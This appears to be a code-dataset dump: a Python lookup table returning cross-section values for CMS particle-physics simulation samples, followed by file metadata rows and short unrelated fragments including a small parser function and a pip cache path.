elif fileName.find("TTJets_SingleLeptFromT_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 109.6
elif fileName.find("WJetsToLNu_HT-200To400_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 407.9
elif fileName.find("WJetsToLNu_HT-400To600_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 57.48
elif fileName.find("WJetsToLNu_HT-600To800_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 12.87
elif fileName.find("WJetsToLNu_HT-100To200_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 1395.0
elif fileName.find("WJetsToLNu_Pt-50To100_TuneCP5_13TeV-amcatnloFXFX-pythia8") !=-1 : return 3570.0
elif fileName.find("DYJetsToLL_M-50_TuneCUETP8M1_13TeV-amcatnloFXFX-pythia8") !=-1 : return 5941.0
elif fileName.find("QCD_HT1000to1500_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 1207.0
elif fileName.find("QCD_HT1500to2000_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 120.0
elif fileName.find("ST_tW_top_fsrdown_5f_NoFullyHadronicDecays_13TeV-powheg") !=-1 : return 38.09
elif fileName.find("ST_tW_top_isrdown_5f_NoFullyHadronicDecays_13TeV-powheg") !=-1 : return 38.09
elif fileName.find("SMS-TChiSlepSnu_x0p05_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 9.607e-05
elif fileName.find("SMS-TChiSlepSnu_x0p95_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 9.562e-05
elif fileName.find("SMS-TChiStauStau_x0p5_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.002364
elif fileName.find("SMS-TChipmWW_WWTo2LNu_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.002556
elif fileName.find("TTJets_Dilept_TuneCUETP8M2T4_13TeV-amcatnloFXFX-pythia8") !=-1 : return 76.75
elif fileName.find("TTWJetsToLNu_TuneCP5_13TeV-amcatnloFXFX-madspin-pythia8") !=-1 : return 0.2149
elif fileName.find("WJetsToLNu_HT-70To100_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 1292.0
elif fileName.find("WJetsToLNu_Wpt-0To50_TuneCP5_13TeV-amcatnloFXFX-pythia8") !=-1 : return 61850.0
elif fileName.find("DYJetsToLL_M-50_TuneCUETHS1_13TeV-madgraphMLM-herwigpp") !=-1 : return 358.6
elif fileName.find("DYJetsToLL_M-50_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 4963.0
elif fileName.find("QCD_HT2000toInf_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 25.25
elif fileName.find("QCD_HT700to1000_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 6829.0
elif fileName.find("ST_s-channel_4f_InclusiveDecays_13TeV-amcatnlo-pythia8") !=-1 : return 10.12
elif fileName.find("Test_BulkGravToWW_narrow_M-4000_13TeV_TuneCP1-madgraph") !=-1 : return 4.464e-05
elif fileName.find("Test_BulkGravToWW_narrow_M-4000_13TeV_TuneCP2-madgraph") !=-1 : return 4.467e-05
elif fileName.find("Test_BulkGravToWW_narrow_M-4000_13TeV_TuneCP3-madgraph") !=-1 : return 4.413e-05
elif fileName.find("Test_BulkGravToWW_narrow_M-4000_13TeV_TuneCP4-madgraph") !=-1 : return 4.459e-05
elif fileName.find("Test_BulkGravToWW_narrow_M-4000_13TeV_TuneCP5-madgraph") !=-1 : return 4.543e-05
elif fileName.find("ST_tWll_5f_LO_TuneCP5_PSweights_13TeV-madgraph-pythia8") !=-1 : return 0.01103
elif fileName.find("SMS-TChiSlepSnu_x0p5_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.000111
elif fileName.find("TTJets_HT-1200to2500_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 0.1316
elif fileName.find("TTWJetsToQQ_TuneCP5_13TeV-amcatnloFXFX-madspin-pythia8") !=-1 : return 0.4316
elif fileName.find("WZTo1L1Nu2Q_13TeV_TuneCP5_amcatnloFXFX_madspin_pythia8") !=-1 : return 11.74
elif fileName.find("WJetsToQQ_HT400to600_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 1447.0
elif fileName.find("WJetsToQQ_HT600to800_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 318.8
elif fileName.find("QCD_HT100to200_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 28060000.0
elif fileName.find("QCD_HT200to300_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 1710000.0
elif fileName.find("QCD_HT300to500_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 347500.0
elif fileName.find("QCD_HT500to700_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 32060.0
elif fileName.find("ST_tW_top_5f_fsrup_NoFullyHadronicDecays_13TeV-powheg") !=-1 : return 38.09
elif fileName.find("ST_tW_top_5f_isrup_NoFullyHadronicDecays_13TeV-powheg") !=-1 : return 38.09
elif fileName.find("SMS-TChiNG_BF50N50G_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 2.458e-07
elif fileName.find("TTJets_HT-800to1200_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 0.7532
elif fileName.find("TTJets_HT-2500toInf_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 0.001407
elif fileName.find("QCD_HT50to100_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 246300000.0
elif fileName.find("ST_t-channel_eleDecays_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 24.85
elif fileName.find("ST_t-channel_tauDecays_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 24.7
elif fileName.find("VBF-C1N2_tauDecays_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0003081
elif fileName.find("ST_t-channel_antitop_5f_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 82.52
elif fileName.find("TTJets_DiLept_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 56.86
elif fileName.find("TTJets_HT-600to800_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 1.821
elif fileName.find("TTZToLLNuNu_M-10_TuneCUETP8M1_13TeV-amcatnlo-pythia8") !=-1 : return 0.2529
elif fileName.find("TTZPrimeToMuMu_M-1000_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.001539
elif fileName.find("TTZPrimeToMuMu_M-1200_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.0006278
elif fileName.find("TTZPrimeToMuMu_M-1300_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.0004127
elif fileName.find("TTZPrimeToMuMu_M-1400_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.0002776
elif fileName.find("TTZPrimeToMuMu_M-1500_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.0001899
elif fileName.find("TTZPrimeToMuMu_M-1600_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.0001324
elif fileName.find("TTZPrimeToMuMu_M-1700_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 9.354e-05
elif fileName.find("TTZPrimeToMuMu_M-1800_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 6.694e-05
elif fileName.find("TTZPrimeToMuMu_M-1900_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 4.857e-05
elif fileName.find("TTZPrimeToMuMu_M-2000_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.001539
elif fileName.find("ST_s-channel_4f_leptonDecays_13TeV-amcatnlo-pythia8") !=-1 : return 3.365
elif fileName.find("SMS-T6qqllslepton_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 8.693e-05
elif fileName.find("SMS-TChipmSlepSnu_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.00333
elif fileName.find("SMS-TChipmStauSnu_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0005573
elif fileName.find("ST_t-channel_muDecays_13TeV-comphep-pythia8_TuneCP5") !=-1 : return 24.72
elif fileName.find("TTZPrimeToMuMu_M-300_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.22
elif fileName.find("TTZPrimeToMuMu_M-400_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.0684
elif fileName.find("TTZPrimeToMuMu_M-500_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.02871
elif fileName.find("TTZPrimeToMuMu_M-600_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.01408
elif fileName.find("TTZPrimeToMuMu_M-700_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.007514
elif fileName.find("TTZPrimeToMuMu_M-800_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.004255
elif fileName.find("TTZPrimeToMuMu_M-900_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.002517
elif fileName.find("TTZToLLNuNu_M-10_TuneCP5down_13TeV-amcatnlo-pythia8") !=-1 : return 0.2432
elif fileName.find("DYJetsToLL_M-50_TuneCP5_13TeV-amcatnloFXFX-pythia8") !=-1 : return 6529.0
elif fileName.find("QCD_HT1000to1500_TuneCH3_13TeV-madgraphMLM-herwig7") !=-1 : return 1.137
elif fileName.find("QCD_HT1500to2000_TuneCH3_13TeV-madgraphMLM-herwig7") !=-1 : return 0.02693
elif fileName.find("QCD_HT1000to1500_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 1092.0
elif fileName.find("QCD_HT1500to2000_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 99.76
elif fileName.find("SMS-T5Wg_TuneCP2_13TeV-madgraphMLM-pythia8_testCPU") !=-1 : return 0.0007515
elif fileName.find("SMS-T5tttt_dM175_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 8.671e-05
elif fileName.find("SMS-TChiHH_HToGG_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 6.501e-06
elif fileName.find("SMS-TChiHZ_HToGG_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 5.739e-06
elif fileName.find("SMS-TChiWH_HToGG_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.01489
elif fileName.find("SMS-TChiWZ_ZToLL_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.002535
elif fileName.find("SMS-TChiZZ_ZToLL_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 1.128e-06
elif fileName.find("WJetsToLNu_TuneCUETP8M1_13TeV-amcatnloFXFX-pythia8") !=-1 : return 60430.0
elif fileName.find("DYJetsToLL_M-50_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 5343.0
elif fileName.find("DYJetsToLL_M-50_TuneCH3_13TeV-madgraphMLM-herwig7") !=-1 : return 9.402
elif fileName.find("DYJetsToLL_M-50_TuneCP1_13TeV-madgraphMLM-pythia8") !=-1 : return 4661.0
elif fileName.find("DYJetsToLL_M-50_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 4878.0
elif fileName.find("QCD_HT2000toInf_TuneCH3_13TeV-madgraphMLM-herwig7") !=-1 : return 0.1334
elif fileName.find("QCD_HT700to1000_TuneCH3_13TeV-madgraphMLM-herwig7") !=-1 : return 5.65
elif fileName.find("QCD_HT2000toInf_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 20.35
elif fileName.find("QCD_HT700to1000_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 6344.0
elif fileName.find("QCD_Pt-15to7000_TuneCP2_Flat_13TeV_pythia8_FlatPU") !=-1 : return 2060000000.0
elif fileName.find("SMS-T5WgStealth_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0002458
elif fileName.find("SMS-T6WgStealth_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.01157
elif fileName.find("SMS-T6qqWW_dM10_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 9.439e-05
elif fileName.find("SMS-T6qqWW_dM15_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0002814
elif fileName.find("SMS-T6qqWW_dM20_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 8.567e-05
elif fileName.find("SMS-T7WgStealth_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0001827
elif fileName.find("TTZToLLNuNu_M-10_TuneCP5up_13TeV-amcatnlo-pythia8") !=-1 : return 0.2432
elif fileName.find("WJetsToLNu_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 50260.0
elif fileName.find("QCD_HT100to200_TuneCH3_13TeV-madgraphMLM-herwig7") !=-1 : return 3979.0
elif fileName.find("QCD_HT200to300_TuneCH3_13TeV-madgraphMLM-herwig7") !=-1 : return 673.8
elif fileName.find("QCD_HT300to500_TuneCH3_13TeV-madgraphMLM-herwig7") !=-1 : return 829.2
elif fileName.find("QCD_HT500to700_TuneCH3_13TeV-madgraphMLM-herwig7") !=-1 : return 15.19
elif fileName.find("QCD_HT100to200_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 23590000.0
elif fileName.find("QCD_HT200to300_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 1551000.0
elif fileName.find("QCD_HT300to500_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 323400.0
elif fileName.find("QCD_HT500to700_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 30140.0
elif fileName.find("ST_t-channel_top_5f_TuneCP5_13TeV-powheg-pythia8") !=-1 : return 119.7
elif fileName.find("ST_tch_14TeV_antitop_incl-powheg-pythia8-madspin") !=-1 : return 29.2
elif fileName.find("SMS-T2bH_HToGG_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.01149
elif fileName.find("SMS-T6qqWW_dM5_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0001039
elif fileName.find("WJetsToLNu_0J_TuneCP5_13TeV-amcatnloFXFX-pythia8") !=-1 : return 0.0
elif fileName.find("WJetsToLNu_1J_TuneCP5_13TeV-amcatnloFXFX-pythia8") !=-1 : return 0.0
elif fileName.find("WJetsToLNu_2J_TuneCP5_13TeV-amcatnloFXFX-pythia8") !=-1 : return 0.0
elif fileName.find("QCD_HT1000to1500_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 1088.0
elif fileName.find("QCD_HT1500to2000_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 99.11
elif fileName.find("QCD_HT50to100_TuneCH3_13TeV-madgraphMLM-herwig7") !=-1 : return 119700.0
elif fileName.find("QCD_HT50to100_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 185300000.0
elif fileName.find("QCD_Pt-15to7000_TuneCP2_Flat_NoPU_13TeV_pythia8") !=-1 : return 2048000000.0
elif fileName.find("QCD_Pt-15to7000_TuneCP5_Flat_13TeV_pythia8_test") !=-1 : return 1393000000.0
elif fileName.find("SMS-TSlepSlep_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.003472
elif fileName.find("TTJets_DiLept_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 62.49
elif fileName.find("TTJets_DiLept_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 54.23
elif fileName.find("TTZToLLNuNu_M-10_TuneCP5_13TeV-amcatnlo-pythia8") !=-1 : return 0.2432
elif fileName.find("WZTo1L3Nu_13TeV_amcatnloFXFX_madspin_pythia8_v2") !=-1 : return 3.3
elif fileName.find("QCD_HT2000toInf_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 20.23
elif fileName.find("QCD_HT700to1000_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 6334.0
elif fileName.find("SMS-T5bbbbZg_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 5.352e-05
elif fileName.find("SMS-T5qqqqHg_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 5.127e-05
elif fileName.find("SMS-T5qqqqVV_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 8.771e-05
elif fileName.find("SMS-T5ttttZg_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 5.139e-05
elif fileName.find("SMS-TChipmWW_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.000512
elif fileName.find("ST_tWlnuZ_5f_LO_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.001267
elif fileName.find("TTJets_TuneCUETP8M1_13TeV-amcatnloFXFX-pythia8") !=-1 : return 690.9
elif fileName.find("TTZToLL_M-1to10_TuneCP5_13TeV-amcatnlo-pythia8") !=-1 : return 0.05324
elif fileName.find("TTZJets_TuneCUETP8M1_14TeV_madgraphMLM-pythia8") !=-1 : return 0.6615
elif fileName.find("WZTo1L1Nu2Q_13TeV_amcatnloFXFX_madspin_pythia8") !=-1 : return 10.73
elif fileName.find("QCD_HT100to200_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 23700000.0
elif fileName.find("QCD_HT200to300_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 1547000.0
elif fileName.find("QCD_HT300to500_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 322600.0
elif fileName.find("QCD_HT500to700_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 29980.0
elif fileName.find("SMS-T1qqqqL_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0001578
elif fileName.find("ST_tWqqZ_5f_LO_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.001122
elif fileName.find("VBF-C1N2_WZ_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0003344
elif fileName.find("TTJets_TuneCUETP8M1_13TeV-madgraphMLM-pythia8") !=-1 : return 511.3
elif fileName.find("TTZZTo4b_5f_LO_TuneCP5_13TeV_madgraph_pythia8") !=-1 : return 0.001385
elif fileName.find("ST_tch_14TeV_top_incl-powheg-pythia8-madspin") !=-1 : return 48.03
elif fileName.find("SMS-T1bbbb_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 3.653e-05
elif fileName.find("SMS-T1qqqq_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 4.281e-05
elif fileName.find("SMS-T1ttbb_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 8.06e-05
elif fileName.find("SMS-T1tttt_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 3.855e-05
elif fileName.find("SMS-T5ttcc_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.005095
elif fileName.find("SMS-T6ttWW_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0001474
elif fileName.find("SMS-T6ttZg_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 4.206e-05
elif fileName.find("SMS-TChiNG_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 2.484e-07
elif fileName.find("SMS-TChiWG_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 9.996e-05
elif fileName.find("SMS-TChiWZ_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0004769
elif fileName.find("SMS-TChiWH_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0003865
elif fileName.find("WZTo1L3Nu_13TeV_amcatnloFXFX_madspin_pythia8") !=-1 : return 3.054
elif fileName.find("ZZTo2Q2Nu_13TeV_amcatnloFXFX_madspin_pythia8") !=-1 : return 4.033
elif fileName.find("WJetsToLNu_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 52940.0
elif fileName.find("TTZToQQ_TuneCUETP8M1_13TeV-amcatnlo-pythia8") !=-1 : return 0.5297
elif fileName.find("WZTo2L2Q_13TeV_amcatnloFXFX_madspin_pythia8") !=-1 : return 5.606
elif fileName.find("ZZTo2L2Q_13TeV_amcatnloFXFX_madspin_pythia8") !=-1 : return 3.222
elif fileName.find("ST_tW_DR_14TeV_antitop_incl-powheg-pythia8") !=-1 : return 45.02
elif fileName.find("QCD_Pt-15to7000_TuneCP2_Flat_13TeV_pythia8") !=-1 : return 2051000000.0
elif fileName.find("RPV-monoPhi_TuneCP2_13TeV-madgraph-pythia8") !=-1 : return 0.01296
elif fileName.find("SMS-T2bW_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0002628
elif fileName.find("SMS-T2bb_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0001507
elif fileName.find("SMS-T2bt_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.001012
elif fileName.find("SMS-T2qq_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0003827
elif fileName.find("SMS-T5Wg_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0007355
elif fileName.find("SMS-T5ZZ_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.002739
elif fileName.find("SMS-T6Wg_TuneCP2_13TeV-madgraphMLM-pythia8") !=-1 : return 0.0003838
elif fileName.find("TTTW_TuneCUETP8M2T4_13TeV-madgraph-pythia8") !=-1 : return 0.0008612
elif fileName.find("TTWH_TuneCUETP8M2T4_13TeV-madgraph-pythia8") !=-1 : return 0.001344
elif fileName.find("TTWW_TuneCUETP8M2T4_13TeV-madgraph-pythia8") !=-1 : return 0.007834
elif fileName.find("TTWZ_TuneCUETP8M2T4_13TeV-madgraph-pythia8") !=-1 : return 0.002938
elif fileName.find("TTZH_TuneCUETP8M2T4_13TeV-madgraph-pythia8") !=-1 : return 0.001244
elif fileName.find("TTZZ_TuneCUETP8M2T4_13TeV-madgraph-pythia8") !=-1 : return 0.001563
elif fileName.find("TTJets_TuneCP5_13TeV-amcatnloFXFX-pythia8") !=-1 : return 722.8
elif fileName.find("ttWJets_TuneCP5_13TeV_madgraphMLM_pythia8") !=-1 : return 0.4611
elif fileName.find("ttZJets_TuneCP5_13TeV_madgraphMLM_pythia8") !=-1 : return 0.5407
elif fileName.find("WJetsToQQ_HT180_13TeV-madgraphMLM-pythia8") !=-1 : return 3105.0
elif fileName.find("TTJets_TuneCP5_13TeV-madgraphMLM-pythia8") !=-1 : return 496.1
elif fileName.find("ST_tWnunu_5f_LO_13TeV_MadGraph_pythia8") !=-1 : return 0.02124
elif fileName.find("ST_tWnunu_5f_LO_13TeV-MadGraph-pythia8") !=-1 : return 0.02122
elif fileName.find("ST_tW_DR_14TeV_top_incl-powheg-pythia8") !=-1 : return 45.06
elif fileName.find("TTZToQQ_TuneCP5_13TeV-amcatnlo-pythia8") !=-1 : return 0.5104
elif fileName.find("TTZToBB_TuneCP5_13TeV-amcatnlo-pythia8") !=-1 : return 0.1118
elif fileName.find("ST_tWll_5f_LO_13TeV-MadGraph-pythia8") !=-1 : return 0.01104
elif fileName.find("ST_tWll_5f_LO_13TeV_MadGraph_pythia8") !=-1 : return 0.01103
elif fileName.find("TTTW_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.0007314
elif fileName.find("TTWH_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.001141
elif fileName.find("TTWW_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.006979
elif fileName.find("TTWZ_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.002441
elif fileName.find("TTZH_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.00113
elif fileName.find("TTZZ_TuneCP5_13TeV-madgraph-pythia8") !=-1 : return 0.001386
elif fileName.find("WWTo2L2Nu_13TeV-powheg-CUETP8M1Down") !=-1 : return 10.48
elif fileName.find("ZZTo2L2Nu_13TeV_powheg_pythia8_ext1") !=-1 : return 0.5644
elif fileName.find("ttZJets_13TeV_madgraphMLM-pythia8") !=-1 : return 0.6529
elif fileName.find("WWTo2L2Nu_13TeV-powheg-CUETP8M1Up") !=-1 : return 10.48
elif fileName.find("WWTo2L2Nu_13TeV-powheg-herwigpp") !=-1 : return 10.48
elif fileName.find("ZZTo2L2Nu_13TeV_powheg_pythia8") !=-1 : return 0.5644
elif fileName.find("WWTo2L2Nu_13TeV-powheg") !=-1 : return 10.48
elif fileName.find("WWToLNuQQ_13TeV-powheg") !=-1 : return 43.53
elif fileName.find("WJetsToLNu_Wpt-50To100") !=-1 : return 3298.373338
elif fileName.find("WJetsToLNu_Pt-100To250") !=-1 : return 689.749632
elif fileName.find("WJetsToLNu_Pt-250To400") !=-1 : return 24.5069015
elif fileName.find("WJetsToLNu_Pt-400To600") !=-1 : return 3.110130566
elif fileName.find("WJetsToLNu_Pt-600ToInf") !=-1 : return 0.4683178368
elif fileName.find("WJetsToLNu_Wpt-0To50") !=-1 : return 57297.39264
elif fileName.find("TTJetsFXFX") !=-1 : return 831.76
elif fileName.find("SingleMuon")!=-1 or fileName.find("SingleElectron") !=-1 or fileName.find("JetHT") !=-1 or fileName.find("MET") !=-1 or fileName.find("MTHT") !=-1: return 1.
else:
print("Cross section not defined! Returning 0 and skipping sample:\n{}\n".format(fileName))
return 0
| 106.594444
| 180
| 0.813155
| 11,134
| 76,748
| 5.311029
| 0.081283
| 0.145908
| 0.193192
| 0.086449
| 0.91837
| 0.873218
| 0.765765
| 0.605804
| 0.482641
| 0.371704
| 0
| 0.130988
| 0.065656
| 76,748
| 719
| 181
| 106.742698
| 0.693637
| 0.000052
| 0
| 0
| 0
| 0
| 0.576613
| 0.574906
| 0
| 0
| 0
| 0
| 0
| 1
| 0.001391
| false
| 0
| 0
| 0
| 0.002782
| 0.001391
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
becb1c5d4b9ea39aeab86ad172e59bcdbe9fa38b
| 96
|
py
|
Python
|
venv/lib/python3.8/site-packages/tomlkit/_compat.py
|
GiulianaPola/select_repeats
|
17a0d053d4f874e42cf654dd142168c2ec8fbd11
|
[
"MIT"
] | 2
|
2022-03-13T01:58:52.000Z
|
2022-03-31T06:07:54.000Z
|
venv/lib/python3.8/site-packages/tomlkit/_compat.py
|
DesmoSearch/Desmobot
|
b70b45df3485351f471080deb5c785c4bc5c4beb
|
[
"MIT"
] | 19
|
2021-11-20T04:09:18.000Z
|
2022-03-23T15:05:55.000Z
|
venv/lib/python3.8/site-packages/tomlkit/_compat.py
|
DesmoSearch/Desmobot
|
b70b45df3485351f471080deb5c785c4bc5c4beb
|
[
"MIT"
] | null | null | null |
/home/runner/.cache/pip/pool/83/9a/18/620dc8665d157a95e8bd8529f1f10f3b4c237eccbe2e6418e048857edc
| 96
| 96
| 0.895833
| 9
| 96
| 9.555556
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.427083
| 0
| 96
| 1
| 96
| 96
| 0.46875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
beeede20796f58ce9a70d2cc4a11e7b16d79a30e
| 233
|
py
|
Python
|
src/Parser/Parsers/expressions/read.py
|
PetukhovVictor/compiler2
|
0bf87393ce9ecdd421393165fc14cb7f03f5e3b8
|
[
"MIT"
] | 3
|
2017-09-08T21:35:31.000Z
|
2019-04-24T11:48:59.000Z
|
src/Parser/Parsers/expressions/read.py
|
PetukhovVictor/compiler2
|
0bf87393ce9ecdd421393165fc14cb7f03f5e3b8
|
[
"MIT"
] | 1
|
2018-11-19T15:34:00.000Z
|
2018-11-19T15:35:52.000Z
|
src/Parser/Parsers/expressions/read.py
|
PetukhovVictor/compiler2
|
0bf87393ce9ecdd421393165fc14cb7f03f5e3b8
|
[
"MIT"
] | 4
|
2017-03-13T06:16:48.000Z
|
2019-04-24T11:49:00.000Z
|
from ...AST.expressions.read import ReadStatement
def read_stmt():
""" Parsing 'read' statement. """
from ..common import keyword
return keyword('read') + keyword('(') + keyword(')') ^ (lambda parsed: ReadStatement())
| 25.888889
| 91
| 0.652361
| 24
| 233
| 6.291667
| 0.625
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.171674
| 233
| 8
| 92
| 29.125
| 0.782383
| 0.107296
| 0
| 0
| 0
| 0
| 0.03
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0
| 0.5
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
8300946125759a85528048f0c03d659b6b88c47d
| 249
|
py
|
Python
|
graph/__init__.py
|
RobMcZag/python-algorithms3
|
635e347d942612f6caa4e769a825bcfb26cf24ab
|
[
"Apache-2.0"
] | 1
|
2020-02-02T07:28:36.000Z
|
2020-02-02T07:28:36.000Z
|
graph/__init__.py
|
RobMcZag/python-algorithms3
|
